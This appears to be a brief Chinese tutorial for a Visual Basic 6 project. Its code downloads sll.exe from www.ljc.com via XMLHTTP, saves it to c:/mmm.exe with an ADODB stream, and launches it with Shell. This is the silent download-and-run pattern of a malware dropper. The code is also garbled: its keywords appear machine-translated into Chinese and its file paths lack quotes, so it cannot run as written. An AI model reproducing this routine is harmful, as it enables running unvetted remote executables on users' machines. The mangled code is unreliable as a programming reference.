建立一個vb工程，Project1
新增參考：Microsoft 腳本執行階段、Microsoft Active Data Object、Microsoft MsXml
表格1代碼：
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
暗淡 d As Class1
設定 a = 新 MSXML2.XMLHTTP
a.開啟獲取，http://www.ljc.com/sll.exe，True
設定 d = 新 Class1
a.onreadystatechange = d
a.發送
結束子
Class1代碼：
Dim b As ADODB.Stream
Dim fso As Scripting.FileSystemObject
公共 curReadyState 只要
公共函數 doSome()
調試.列印Form1.a.readyState
如果 Form1.a.readyState = 4 那麼
萬維網
結束如果
結束功能
公用函數 www()
設定 b = 新 ADODB.Stream
b.類型=1
b.打開
設定 fso = New Scripting.FileSystemObject
如果 Form1.a.readyState = 4 那麼
b.Write(Form1.a.responseBody)
如果不是 fso.FileExists(c:/mmm.exe) 那麼
b.SaveToFile c:/mmm.exe
結束如果
結束如果
b.關閉
設定 b = 無
如果 fso.FileExists(c:/mmm.exe) 那麼 Shell c:/mmm.exe, 1
設定 fso = 無
結束功能
注意將Class1的doSome設定設為預設的。